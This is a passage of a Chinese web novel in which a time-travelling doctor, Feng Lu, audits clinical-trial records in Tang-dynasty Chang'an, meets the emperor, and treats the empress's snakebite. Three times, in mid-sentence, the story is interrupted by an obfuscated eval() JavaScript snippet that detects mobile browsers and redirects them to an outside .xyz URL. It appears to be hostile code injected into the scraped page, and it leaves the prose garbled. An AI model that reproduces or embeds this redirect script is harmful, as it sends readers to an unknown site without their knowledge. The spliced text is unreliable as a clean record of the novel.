在上座的杜县令看着埋头苦吃的冯麓,想起来了早早远嫁为人妇的大女儿,那些官场上老掉牙的场面话全都不自觉变成慈爱的“好吃就多吃点儿”。 大口大口吃肉的冯麓跟其他为了维持纤细而点到即止的女子不同,杜蜻看着觉得很新奇,没想到医术高超的少女竟然也有如此接地气的一面。 冯麓抬眼,看到桌上三个人都在看着自己,顿时不好意思起来,用手帕擦了擦嘴上的油渍,赧颜道:“我吃的是有点儿多,各位见笑了。” “无妨。冯大人和白堂主不必拘束,不够的话后厨还有。”杜县令笑着说道。 冯麓抿连忙摆摆手,“已经吃好了,多谢杜大人。” “冯大人如此年少却机智过人,真乃女中翘楚。”杜蜻眼睛闪着欣赏的光,白理看着颇为刺眼。 “冯大人家中可曾定下亲事?” 杜县令这突兀的问题把冯麓打了个措手不及,她想起那个被她打晕后下落不明的老头,心虚地回答:“未曾。” “那太好了!”杜县令大喜,“冯大人可有中意的男子类型?下官作为蒲城的父母官,可为冯大人在城里选上一选。” “多谢杜大人,但我目前不想成亲。” 杜县令笑道:“也是,看惯了长安男儿的风姿应是看不上蒲城男儿的。” “并非如此,”冯麓赶紧站起来行礼道,“如今我身上肩负陛下解咒重任,使命一日未达我便一日不可放松,更别谈男女之事。杜大人的好意我心领了,待尘埃落定后我再行考虑吧。” 杜县令惋惜着叹息,可桌上失望的人又何止一个。 宴席过后,白理把冯麓送回院子。 蒲城已经过了立冬。街边的树叶全都掉光了,光秃秃的枝干互相碰撞,和咆哮的风声在夜里交织不断,显得夜色更为浓重,也显得冯麓与白理之间的氛围更为安静。 “那个,验方使……” “白堂主,我……” 两人难得开口,却巧合地相撞。 冯麓轻笑道:“白堂主先说吧。” “验方使,若我全听你的,可以不走吗?” “这是何意?”这没头没尾的话让冯麓摸不着头脑。 “我会全心配合验方的,不会再出现以往的那些情况。所以,你和杨凛可以留下来继续验方吗?”白理声音低沉,听得出来他很认真。 “白堂主,验方需要花费的精力太多了,你肩负一整个仁医堂的责任,实在不适合参与验方,违背方案过多会影响药方效果的评判。” 白理停下脚步看着冯麓说道:“或许真如你所言,我会不太适应,会手忙脚乱,但我可以协调,我可以学习。” “若我有做得不好的地方,我真诚地向你道歉,但请不要放弃蒲城,不要因我个人之过而让整个蒲城的人失去尝验解药的机会。” “拜托了,验方使大人。”白理说着就弯下腰向冯麓扎扎实实地行了礼,言辞恳切。 冯麓看着白理,心里五味杂陈。 她本来已经做好了离开的打算,但这场瘟疫让她发现白理坚守的原则也并非有错。当病患站在医师面前,自然是以危重为先,只是…… 冯麓把他扶起,语气沉重地说:“白堂主,你知道的,我实在没有时间了。接下来的验方,一个方案违背都不能再有。” “验方使尽可放心,我已经将方案牢牢记住,不信你问。”白理一脸“你随便抽背”的表情,有点像急于表现自己的学生。 “不必了。白堂主,我就再信你一回。” 等冯麓和白理各自回到院子,芮雪和杨凛早已烧好炭火在家里等着了。 “杨凛,小雪,咱们之后不去潼关了,就留在这里继续验方。” “为何大人突然变了决定?是白堂主跟您说了什么吗?” “嗯,白理他向我保证以后会全心投入,好好配合。看他样子还算诚恳,再分蒲城几例名额吧。” 杨凛心里其实不太愿意冯麓留下,但他没资格改变冯麓的决定,毕竟对于一个选人来说,除了跟随和服从没有其他选择。 他突然想起来什么,向冯麓递上一封里三层外三层的书信,“大人,今日长安来信。” 冯麓打开后发现是驻地长安的选人蓝谦所写,洋洋洒洒写下一整页的情况汇报。 她又把信从头到尾细读了一遍,笑着说:“长安的二期验方已经全部完成了。小雪,速速收拾行囊,我们明日便启程前往长安。” “是!”“是!”芮雪和杨凛异口同声,一起跑去收拾行囊。 冯麓伸手把杨凛捉了回来,“哎哎哎,我说让你收拾了吗?蒲城的验方还没完成呢,你去了谁来监督?” “好吧。”杨凛失落地低下头。‘大人你们啥时候回来?’ “还不知道,长安一期和二期验方完成后都还未曾进行数据核查,估计得要一阵子了。” 杨凛和芮雪再次异口同声地问:“‘数据核查’是啥?” “验方完成后我们需要收集所有病患的医案格,校验一遍其中的内容确认有无错漏或作假。” 数据核查是本次验方的从未涉及到的环节,也是最重要的环节之一,说不定还会被李麒过问,千万不能出现问题。冯麓暗暗祈祷着。 “校验?”郑安沅坐在马车里问道,“冯大人需要我安排一下协助的人手吗?” 冯麓连忙拒绝,“不用不用,若是尚药局的大人来,那岂不是用牛刀来拍苍蝇了。” 郑安沅掩面而笑。 此时,轿厢内吹入一丝寒风,是芮雪在撩开车帘四处张望。 “小心着凉。”冯麓提醒道,芮雪立即就收回了手,即使她的眼睛里仍然充满了好奇。 郑安沅瞥了一眼冯麓和她身边那个长相稚嫩的少年,她们都正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513173|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿了毛茸茸的长衫,冯麓睁着圆溜溜的大眼睛,颇像一只林间的白兔。 郑安沅斜睨打趣道:“冯大人,几日不见竟都收了小徒弟了?” 冯麓摸了摸芮雪的头顶,抿着嘴笑道:“她是我路上捡到的妹子,很聪明,现在跟在我身边学一些本事。” “见过郑大人。”芮雪立刻就软软地行礼,然后继续乖乖地坐在角落不再多说一句。 简直是大兔子带着小兔子,捅了兔子窝了,就是不知道这只小兔子会不会像她姐姐朝堂上大杀四方那样凌厉果断。郑安沅笑着心想。 客栈到了,郑安沅先下车,特意站在车旁等扶过冯麓和芮雪下车。 郑安沅长身玉立,黄昏的霞光照在他脸上,描摹出一道温柔的弧光,“冯大人舟车劳顿,我就不打扰大人歇息了。若有需要,可随时遣人知会我。” “多谢郑大人相迎入城,请慢走。” 郑安沅前脚刚上车离开,芮雪后脚就来扯着冯麓的衣袖问这个俊秀官爷是谁。 “尚药局的奉御郑安沅大人,我在长安的时候对我很是照顾。” 芮雪感慨:“看得出来。” “等会儿多吃点,今日好好歇息,明日开始我们还有很多事情要做。” 芮雪点点头,“是。” 翌日早晨,冯麓按照蓝谦给的地址去到了济世堂。 这是长安最大的医馆,每日都有数不胜数的病患千里迢迢跑来诊治,不为别的,就为了来寻一位白发苍苍的老者。这位老者来历不凡,他是致世的老御医,也是孙道士的师兄,还是本次验方的主要研究者。 “小女拜见梁师伯。”冯麓跪在地上行礼,芮雪也跟着行叩拜大礼。 “起身吧。”梁医师难得遇到故人门徒,激动得皱纹都加深了几寸,他目露内疚与遗憾之情,感慨道:“孙师弟已故多年却没能去探望,实乃老朽之愧!” 奇怪,孙药王去世的谣言怎么到处都是?难道是有人故意扩散的? “先生逝世实属无稽之谈,他老人家如今在山谷闭关,若师伯愿意,我会代师伯修书请求先生与您一见。” 梁师伯更加激动了,泪眼汪汪地握住冯麓的双手,“如此大好啊!” 经历了漫长的寒暄后,冯麓终于进入了正题:“师伯,我是陛下派来的验方使,现如今听闻您这边的验方已经完成,所以我特意赶来校验一番。” 冯麓命令蓝谦把所有病患的医案格拿到一间房里,她和芮雪开始一一校验,可刚翻开第十五号病患的医案格就发现了问题。 “蓝谦,这都是空的啊。你确定没拿错吧?”冯麓还往后翻了翻,可翻完了都没看见任何随访的内容,“还是说医师们根本没做随访?” “做了的做了的!只是医师们为了方便只写在了自己的方案册上,我还没来得及誊抄上去。”蓝谦立即把第十五号医案格收走,换了一本来。 冯麓随手一翻,发现不止他递来的这一本十四号,很多病患的医案格都没填完。 “你到底有多少本没写的?不是跟你们说了一定要及时填写吗?你拖到现在再补,万一誊抄错了呢?这不是作假吗?” “……对不住对不住,冯大人,小的再也不敢了!”蓝谦跪在地面。 冯麓叹口气,把那些空白的医案格全部垒在一起,“罢了,想是你们之前病患太多的原因。现在你去把所有空白的医案格都誊抄完毕,太阳落山之后我不想看到空白的医案格。” “是,我立即去誊抄!” 15. 宫中办公 冯麓翻开前五例病患的医案格,差点被气晕。 “蓝谦,第一个病患的知情画押书怎么没看见?方案里说了,没有画押书不可尝验。”“有的有的,但是太过久远恐怕找不着了。” “蓝谦,这个病患的日志簿里明明写了他在第二疗程期间曾感乏力,你为何不在医案格里记录?”“是小的遗漏了,这就补上。” “蓝谦,第二个病患为何中途退出,缘由呢?”“这……小的也忘记了,恐怕需要问一下梁先生。” 冯麓深吸一口气,极力将自己的怒气吞下肚,冷着脸说:“如果验方都这样记录我该如何评价疗效?如果无法评价疗效又该如何制成解药?我明明在验方开始之前都跟你们说过了的,到底有没有把我的话放心上!” 蓝谦又开始跪在地上磕头认错,闹得冯麓非常烦躁。 她要的不是凌驾于人之上看他们俯首听命,她只是想让他们帮她做完这个试验而已,为什么这么难。 蓝谦踩着日落的尾声交上了未完成的医案格,冯麓随便吃了点胡饼就继续待在房间里看资料。 夜晚的济世堂十分冷清,让人直打寒战。冯麓就着微弱晃动的烛光看着密密麻麻的资料,字好像都会跳舞似的,看得人头晕眼花。 芮雪时不时搓着手心,一边整理不良事件表一边问:“姐姐……你有没有觉得这里阴气很重?” “不是阴气重,只是这儿的窗户全都没关严实。”冯麓站起身把门关上,然后踮起脚把四面的窗户扣紧。但她收回手走回椅子上的时候,却两眼一黑径直栽倒在地。 “姐姐!” 守在门外的人冲得比芮雪还快,他一身黑甲揽起冯麓就往外跑,快到芮雪都没反应过来。 “喂你谁呀?你一直藏在济世堂?你要带我姐姐去哪儿?” “我是谁你不用管,我这是奉命行事光明正大站在外面,最后——我自然是带她去找医师。”黑甲男子冷漠无情地一一回答芮雪的连环提问。 芮雪几乎是小跑着才能跟上男子的步伐,她着急大喊:“这里就是济世堂,你还要去哪里找医师?” 黑甲男子回头扫了一眼芮雪,不耐烦地回答:“宫里。” 等冯麓再睁开眼,她已经躺在了金碧辉煌的绫绮殿里,她的身边是满眼焦急的芮雪和如释重负的袁太医。 袁太医欣喜地回过头向站在不远处的黑甲男子禀报:“烦请凌大人回禀陛下,冯大人已无大碍,现下只需喝点补气血的汤膳即可。” 冯麓从床上缓缓坐起来,才看到送她进宫的那人正是那日把当街救人的她抓去给李麒解咒的男子。 原来他就是史书上赫赫有名的凌之韫,那个帮李麒杀了诸多重臣的禁军统领。冯麓紧咬牙关,连睫毛都止不住地打寒战,望向凌之韫的眼神都带上了一丝恐惧。 “那为何验方使仍然寒战不停?”凌之韫质问道。 “这……”袁太医吞吞吐吐不知如何作答,冯麓见势立即代他回答:“凌大人,下官只是衣服穿少了。” 凌之韫移开眼神到冯麓脸上,短暂停留一秒以后面无表情地说:“那请冯大人好好歇息吧,只有保重身子才可为陛下更好地制作解药。” “是。” 凌之韫高仰头颅,长长的马尾随着他利落的转身甩在他身后,他的佩剑碰撞着他的黑甲发出清脆又有节奏的声响,在空旷的绫绮殿里平添一分肃杀之感。 “多谢冯大人解围。”地面传来一阵骨骼松动的声响,冯麓垂眸无声地看着向自己跪地拜谢的袁太医。 据中书令那日朝堂上所言,袁太医已经行医三十年,全白头发和胡子和沟壑纵横的皱纹无不在宣告他年事已高,但这样一个见惯大场面的老者如今仍然会害怕因为说错一句话就惹来杀身之祸。 冯麓心里泛起浓浓的悲悯,还有对这个君主专制社会的忿恨。在她之前,或许就已经有不少医者因为无法治好皇室疾病而被斩首,她只是历史漫漫长河之中的某一个倒霉的医师而已。 袁太医走后没多久,李麒就派人送来了五床羊绒被褥,五件鹅绒大氅、五件兔毛大氅和五件貂皮大氅,还有一百斤上好的木炭。 负责送温暖的太监堆着笑脸说:“冯大人,陛下说了,您在长安一日便安心在绫绮殿住下一日,想要什么都可以跟小的说,千万不要冻着饿着。” “可我还有卷宗要看……” “陛下已经命人搬来绫绮殿了。”太监伸手指向绫绮殿另一边的书案,那上面按顺序摆好了验方资料,就连蓝谦回收来的药瓶子也整整齐齐放在木匣子里。 “多谢陛下。” 冯麓心里叹口气,看来她想故意远离这个残酷无情的宫廷都不行。 夜色渐浓,已经是亥正三刻。冯麓闲不下来,喝完了药膳后立即披着大氅坐到了书案前。 芮雪已经渐渐打起了哈欠,因为实在太困又不敢独自回去睡觉,所以安安静静地趴在书案一端,陪着冯麓继续进行核查。 数据实在太差劲,几乎每个病患都有几个方案违背,频率最高的是访视超窗[1]。不用他们解释她都大概能猜到原因,大抵应该是与白理一样,毕竟长安的病患要比蒲城多上五倍不止。 还有,医案格中全是诸如“四肢出现米粒般的红点,瘙痒难耐”、“蹿稀一日五次”、“头昏脚软,行步飘忽”之类的表达,若是不把这些统一起来之后就会无法对不良事件进行统计分析,所以冯麓不得不改为“皮疹”、“腹泻”、“晕眩”和“共济失调”来代替这些俚语。 “小雪,帮我再点一支蜡烛来。” 没有人回应。 冯麓揉着眼睛从山一般高的医案格里抬头,才发现芮雪已经睡着了。她起身把芮雪的手臂架在自己肩膀上,小步小步地把她挪到床上,走之前还帮她多盖了一层羊绒被褥。 冯麓真是深刻体会到了长期营养不良带给人的影响有多大。若还是以前的陆知晓,她完全可以把跟她一般高的病人横抱到急诊室;可在从小就没好好吃过饱饭的瘦弱冯麓身上,只是半拖着芮雪走上十几步就可以累出半身虚汗。 冯麓擦掉额头和人中的汗滴,自己点了蜡烛挑灯夜战。 外面好像闪过一丝人影。冯麓立即抬头,死死盯住黑乎乎的窗户,即使是坚定的唯物主义者,冯麓也不免有点犯怵,毕竟这儿的冤魂可比现代社会多多了。 她咽下口水,深呼吸鼓起勇气地问:“谁在那儿?” 回应她的只有如孩童啼哭般的哀怨风声。 冯麓默念几遍社会主义核心价值观,重新稳定心神,继续投入到工作中。直到这一支蜡烛的光也开始昏暗,冯麓终于才肯上/床休息。 第二天,冯麓都没睡上几个时辰又爬起来看资料,连药膳都没有时间喝,连写字的手都在止不住颤抖。 “姐姐,歇息一会儿吧。” “不。” 芮雪说出口前就已经猜到了冯麓会是什么回答。 冯麓的计划中,早已规定好了什么时候该做什么,她还预估了需要多久可以完成全唐二期验方、多久可以完成全唐三期验方。 在冯麓心里一直有一块与性命等重的石头,压得她喘不过气来,她一步都不敢走错,一天都不敢浪费。 “姐姐,你若还不歇息,我就找袁太医来了。”芮雪弱弱地威胁。 冯麓淡淡地说:“我会自己看着办的。”可她自己都不知道,她的脸色已经白得吓人,唇色也变成了绛紫。 芮雪不敢让这样的冯麓继续工作下去,披上大氅就往太医署跑。可她都不知道太医署在哪。 没过多久,绫绮殿来人了。 冯麓头也没抬就低声念叨:“我不是说我自己会看着办吗,为何要麻烦袁太医来一趟?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513174|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >寒冷的空气出现片刻的安静,尔后传来一阵沉稳有力又不怒自威的声音。 “冯小医师,近来可好?” 冯麓转头看向声音的来源,差点一口气没喘上来,因为来人不是袁太医,而是正披着明黄大氅走进大殿的李麒。 冯麓也麻溜儿地从椅子下来,下跪的速度快到她甚至都能听到自己髌骨撞上木地板的声响。 她伏在地上,说:“民女参见陛下。” “起来吧。”“谢陛下。” 冯麓偷偷瞥了一眼李麒的面容,虽然血纹仍然鲜艳夺目,但他的声音不再像之前那么虚浮,如今的他步伐稳健、神态自然,想必是恢复了许多。 李麒似笑非笑地注视着冯麓躲闪着不敢对视的双眼,“冯小医师,你还没有回答朕。” 冯麓立即回道:“回陛下,民女很好。” “你就用这样一张比朕还虚的脸来说这句话?冯小医师,这可是欺君之罪。” “陛下,民女确实……还好。” 李麒挑眉问道:“依冯小医师看,如何算“还好”?” 冯麓低着头,感觉自己的冷汗都要滴到地面上,“只要没死就都是好的,民女一日不死,就会继续为陛下制作一日解药。” 李麒轻笑一声,视线飘到书案另一端的汤碗上,“袁太医为你做的汤膳为何不喝?” “方才在忙验方之事耽误了,民女现在就喝。”冯麓抬脚便捧起那一碗药膳,呼噜噜往嘴巴里灌,连味道都没品出来就喝完了,比猪八戒吃人参果更甚。 冯麓用手帕擦掉嘴上的水渍,赶紧小跑回来继续低头罚站,因为吃得太急,她控制不住地打起嗝来。 “我是人不是鱼,我没有腮。”冯麓闭着眼低声默念她师傅教她治打嗝的偏招,可被李麒听见了。 李麒被冯麓这句话逗乐得不行,大笑着问:“你说什么呢?你是人不是鱼?冯小医师你怎样都不会是鱼吧?” 坏了,默念怎么出声了?被这么一吓,不管偏招有没有用冯麓的嗝都被止住了。 李麒笑着大手一挥,对冯麓说:“坐吧,随性些。” “是。” “你还有兄弟姐妹吗?”李麒问。 冯麓眼珠子转了转,她当然不知道自己有没有,她思虑再三最后回了句“没有”,她想要是被调查出来她可以说和他们已经断绝了关系。 “朕倒是有。”李麒的脸露出少见的温柔笑容。 “朕有个长姐,对朕很好,但她已经在两年前离开了。朕的长兄小时候也会时常教朕射箭,但他连十五岁都没有挨过去。对了,朕还有个妹妹,撒娇起来很是可爱,但她刚满七岁就夭折了。”李麒坐在椅子上,手撑着下巴回忆过去,眼睛里满是哀戚的神色。 眼睁睁看着曾经身边的手足一一离自己远去却无能为力,这种痛苦不是一般人可以感同身受的。冯麓不知道该说什么,只能沉默。 李麒直视着冯麓的双眼,悠悠地感慨:“若小妹还活着,如今应该也跟你一般大了,但她不爱读书,想是没有冯小医师这般聪慧过人的。” 冯麓弯腰行礼,“陛下谬赞了。” “朕小时候根本不信命,可朕身边的人一个接一个全都离朕远去,朕不得不信。 冯小医师,你给朕的法子很有用,朕感觉身子好了许多。这也让朕更坚信了,你就是上神赐予朕的逆天改命之人。” 李麒坐正了身子,眼睛里漾起精光,让冯麓身上的大氅都透进丝丝寒风,好像那股子冷意沿着血管蔓延全身似的。 “所以冯小医师,保重好自己的身子,昨日在济世堂那样的事情,不要再发生。 因为给朕做出解药前,你不许死。” 注释及参考文献: [1]超窗:指现代药物试验中实际访视时间点超出方案规定的计划访视时间窗,提前延迟都算超窗 16. 初遇皇后 李麒这句轻飘飘的话可把冯麓吓得不轻。她也是没想到,现在的自己已经连想死都不行。 “皇帝就是皇帝啊。”冯麓自己在空无一人的绫绮殿小声嘟囔着。 半晌后,冯麓突然意识到芮雪好像消失了快一个时辰。她想这妹子怕是在找太医的路上走丢了,于是她急忙跑出去。 大明宫大到有点离谱,所有的宫殿和栏杆都大差不差,即使她一路上都在跟太监侍女打听方向,但仍然迷了路。 终于给她找到了一个像后花园的地方,这里遍布花草树木,似乎有的还可以入药。 “奴婢立即去寻太医!” 谁在说话?冯麓小步靠近,却没想到那侍女转头没看路一下子撞上了冯麓,力度之大差点没给冯麓撞飞出去。 “哪个走路不长眼的?”侍女揉着自己的额头,疼得龇牙咧嘴。 冯麓一眼就看到了小路另一头正坐在石头上的女子,她身着华服却面色苍白,她裙子的下摆撩开,正要用自己的手指触碰小腿处的伤口。 “不要碰!”冯麓急忙喊道。在这个没有抗生素的唐朝,创口要是细菌感染可就不好处理了。 女子被吓到,猛地抽回手,侍女折返回来指着冯麓不悦地大喊:“你是什么人,竟敢对皇后娘娘指手画脚?” 冯麓没空理会侍女的叽叽喳喳,凑近去仔细看伤口。她心里一惊,这不是普通的伤口,而是蛇咬伤。 后花园居然不除蛇。 “娘娘可曾记得蛇的模样?花纹,颜色什么的?”冯麓问。 皇后闭起眼睛回忆,半晌后,她说:“很短很粗的一条蛇,颜色……跟泥巴很像,很难分辨。” “看来是短尾蝮蛇。”冯麓低声说。 没有多余的时间给冯麓和皇后了,她立即从腰带掏出已经用高纯度酒消过毒的银针,挑开伤口,再拿腰带扎在小腿的近心端,把毒血挤压出来。 皇后双眼紧闭,紧咬牙关愣是不喊一声,一旁的侍女急得高声质问冯麓:“这什么法子?为何娘娘会如此痛苦?” “请娘娘忍耐一下,这蛇是毒蛇,若不把毒血逼出来恐怕有性命之忧。” 侍女没见过这种场面,神色慌张地劝皇后:“娘娘,奴婢还是请太医来吧。” 冯麓不耐烦地提高音量,狠狠地瞪了一眼话很多的侍女,“等你请来太医,娘娘早就没救了!你能不能安静一下让我好好诊治?” 侍女终于闭了嘴。 冯麓眼看毒血排得速度太慢,索性把嘴巴凑过去吸,外科学老师曾经告诉过她们,这是最差的手段,但事到如今没有别的办法。 “你……” 皇后一时间有些愣神,呆呆地垂眸看着那在为她而忙碌的圆脑袋。温热的触感从伤口传遍皇后的全身,这是她第一次被人如此亲密地对待,就连李麒也不曾这样温柔。 好像时间都变慢了许多,所有的喧嚣都已不在,只能听到自己胸腔发出的心跳声。在这偌大的宫城里、狭小的一角,她们紧紧相依,她甚至都可以闻到冯麓身上的药草味。 直到血液变得鲜红,冯麓才停下嘴上的动作。她转头看了看草地,小跑去摘了许多蒲公英来,用手指捻碎了以后涂在伤口上。 眼看着皇后面色逐渐好转,冯麓站起身拍了拍手上沾上的蒲公英,恢复到她那淡若山林的模样,对着侍女说道:“你现在可以去请太医了。不过,他们来也没什么用,因为毒素已经被我祛除干净了。” 侍女面容尴尬地退到皇后身后,冯麓伸手扶起她,说:“娘娘,您的宫殿在何处?民女扶您回去吧。” “多谢,你我本不相识,却劳烦你亲自祛毒。”皇后摇摇晃晃地站起身,几乎把半个身子的重量都压在了冯麓手臂上,但冯麓丝毫没有怨言。 “娘娘客气了,这是民女作为一介医师的使命。”冯麓说。 皇后十分惊讶,问道:“你是医师?难道,你就是验方使?” “娘娘深居简出,居然也听说过民女的名字吗?” “嗯,冯大人大名鼎鼎。”皇后扭头露出舒展的微笑,冯麓此时才发现,这皇后竟是个大美人。 “冯大人是独自行走在宫中吗?”皇后四处打量了一下,“冯大人出行最好还是携带一个侍女或侍卫,就怕出现今日的意外。” “民女没有侍女,只有一小妹跟在左右,但她出门前往太医署以后许久未归,想是迷路了民女便出来寻她,谁成想民女竟也迷了路。”冯麓不好意思地笑道。 皇后立即转头吩咐道:“红叶,去太医署寻一下冯大人的小妹。” “是。” 皇后给冯麓带路,路上有一搭没一搭地聊天。 “冯大人是为何从医的?” 冯麓转了转眼珠,回答:“救人一命胜造七级浮屠,多神圣。” 其实她学医的原因很简单粗暴,因为那年高考时,理想学校的中西医结合专业分数线最高,她不想浪费自己的高考分数。 “冯大人孤身来长安,会想家吗?” “会,”冯麓深吸一口气,话语里流露出难掩的悲伤,“但也只能想想,毕竟,民女的头等大事是为陛下解咒。” “那冯大人想家的时候,会做些什么呢?” “抬头看看天,让思念顺着脸颊慢慢流干就好了。” 说罢,皇后便停下脚步,抬起头来半眯着眼睛仰望着长安湛蓝清净的天空。半晌后,她轻声感叹:“本宫平日烦恼时也会常常望天发愣,貌似天空可以抚平一切似的。” 冯麓也抬眼,秋日的天空不太刺眼,连云彩充满着一股淡淡的忧伤。“或许,喜欢仰望天空是大地生灵的宿命吧。” “冯大人,你说话真有意思。”皇后收回眼神,看着冯麓轻笑。 冯麓看向蓬莱殿大门,“来这儿住了一段时日,居然现在才发现绫绮殿的隔壁是娘娘的蓬莱殿。如果娘娘不嫌弃,可以经常来找民女说话。” 冯麓把皇后送回寝宫,揉着酸酸麻麻的肩膀走回绫绮殿,没想到芮雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513175|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经回来了。 冯麓惊喜地小跑上前,迎接着芮雪泪眼汪汪的拥抱,“小雪?你怎么找到路回来的?我还想去找你呢!” “是……凌大人送我回来的。”芮雪抽泣着说道,“他把我送回来以后就发现姐姐不见了,那脸比那粪坑里的石头还臭,劈头盖脸把我骂了一顿,说我明明不认识路还偏要出门。” 呵,盯这么紧,是怕她逃跑还是怕她自杀? 冯麓摸了摸芮雪的脑袋安抚着,“那他人呢?”“我们出去寻你的时候正好撞上皇后娘娘的侍女,她说姐姐你跟娘娘在一起,那人才放心走了。” “这不是把我当人犯吗?” 冯麓带着愤怒迅速回到书案边奋笔疾书起来,她暗自决定,一定要尽快做完数据核查离开长安,就算只是离开皇宫也好。 通过不良事件表,她发现被随机到含有药材的病患里十有八/九出现了乏力、寒战和腹泻的不良事件,高剂量组的甚至还因为乏力直接晕倒在路上,十分危险。 她回忆了一下,蒲城虽然病患不多,但也出现了这样的情况。虽然不知道其他地方的不良事件是哪些,但她猜测同一个药方下的病患大抵差不多。 难道是药方里性寒的药加多了,要不要减量?还是说干脆直接换掉? 冯麓苦思冥想了一下午,最后把芮雪叫来,“小雪,飞鸽传书给各位选人,二期验方结束。回收所有病患的医案格,各地选人回京述职。” 芮雪立即提笔开始写文书,问:“为何如此突然?” 冯麓握笔的手都不由得抓紧,“因为药方存在缺陷,要立即改良,否则会出大事。” 历时七日,除长安外的所有驻地选人全部带着医案格和药罐子回到长安。冯麓只是随意地翻了翻,就证实了自己的猜想。 杨凛震惊地问:“大人,您是说我们之后的验方要换药?” “是,把生地黄去掉,蒲黄换成三七。” 此言一出,许多选人纷纷表示不解,“大人,三七比蒲黄贵上许多,大量验方不是一笔小数量!” “陛下说了,不计成本。如今必须尽快改良解药了,争取在过年前开始三期验方。” “是!” 冯麓要换药方的事情很快就传遍了长安,还没等冯麓想好怎么开口,郑安沅就直接送来了十来箱上好的三七。 “这让我如何回报郑大人。”冯麓看着这些药材说道。 郑安沅柔柔地笑,“冯大人与我一同为陛下做事,这些都是为了陛下能够尽快解咒,冯大人不必有负担。” 冯麓抿着嘴躬身行礼,“多谢!验方后若拿到巨额赏金,我们三七分,我三!” “我又不是为的赏金。”郑安沅继续笑道。 “那为的什么?” “为了你。”郑安沅眨了眨眼,“是我做得太不明显了吗?” “啊?”冯麓彻底愣住。 “验方使,我很欣赏你,所以—— 我希望你得偿所愿。” 17. 宫中密友 近日皇后和冯麓几乎天天待在一起,冯麓若是在卷宗,她也窝在榻上看书,偶尔,她们也会像今日一样,趁日光正好在露台下棋。 冯麓抬手放下一颗子。 皇后装作不经意地问:“冯小医师,你为何这几日都对郑大人避而不见?” 冯麓心神一乱,手上的棋子放错了位置。 “郑家和本宫是世交,他自小机警聪颖、待人真诚,你又待字闺中,何不考虑考虑?”皇后笑道。 “解药之事还未完成,民女不想考虑任何人,若是民女做不出解药可是要为陛下殉葬的。” “什么?”皇后惊讶地抬起头望向冯麓,“陛下他这么对你说的?” “是,所以民女只剩下两年不到的光阴了,这时候谈婚事对伴侣并不好。”冯麓无声地微笑,又落下一子。 “你有把这事儿告知郑大人吗?” “郑大人身边有数不尽的优秀女子,他对民女的心意会随着光阴流逝逐渐淡化的。”冯麓抬头笑了笑,“娘娘,民女输了。还想再来一局吗?” 皇后眼看着这个话题被冯麓揭过去,没办法再继续,索性顺着说:“好啊,你的这个‘五子棋’玩法真是不错,简单又有趣,很快就可以完成一局对弈。没想到冯小医师不仅医术精湛,在民间游戏上也如此有巧思。” “娘娘喜欢便好。”冯麓低头将棋盘收拾干净,“娘娘不必拘谨,叫民女冯麓即可。” “冯小医师你有乳名吗?我们年龄应该差不了几岁,我叫你麓麓如何?”皇后立即放下端了许久的包袱,惊喜地问。 “麓麓”,“陆陆”,她从小很多朋友都这么叫她,这个熟悉的称呼虽然不是同一个字,但也让冯麓心里多了一丝亲切感。 “好啊。”冯麓点点头。 自那日后,皇后几乎是每天都来找冯麓玩耍聊天,即使冯麓有事情要忙她也不会打扰,就静静地在一旁逗猫打发时间。 难道这个皇后都没有事情可做吗?冯麓转念一想,也对,李麒后宫的嫔妃就她一个人,没有子嗣,还不能出宫,换做是她自己估计待上一个月就会抑郁。 冯麓悄悄瞥了一眼在露台晒太阳的皇后,她其实觉得皇后如今的状态已经与抑郁症没有什么差别。虽然她一直在微笑,但也有可能是表面的伪装。 皇后一个人待着的时候,周围会包裹着一股浓烈的忧郁气息,旁人都无法靠近。甚至,她发现皇后在望向天空时,经常会流泪。 冯麓的医师本能让她忍不住去关心皇后,所以她再忙也会抽时间出来陪皇后聊聊天。天南地北,五湖四海,天文地理,花鸟鱼虫,想到什么聊什么。 除了五子棋外,冯麓还教了皇后瑜伽的动作技巧。 瑜伽是转移注意力治疗情绪的好方法,还可以强身健体。冯麓希望皇后可以通过做瑜伽来尽快入睡,从而忽略那个始终空出一个人的床榻,忽略那个从未踏入寝殿的李麒。 冬天来临,长安的雪下了一天一夜。 皇后约冯麓去长安近郊泡汤池,据她所说里面放了许多补气血和养精神的药材,若受了伤来泡可以立即痊愈,若无病无伤来泡则可以增加五年阳寿。 “真有这么强的功效?”冯麓低头闻了闻汤池水,撇撇嘴,“貌似也就是放了一些黄花蒿混合着白芷和黄连什么的,对伤口确实有用,但延年益寿怕是自我安慰了。” 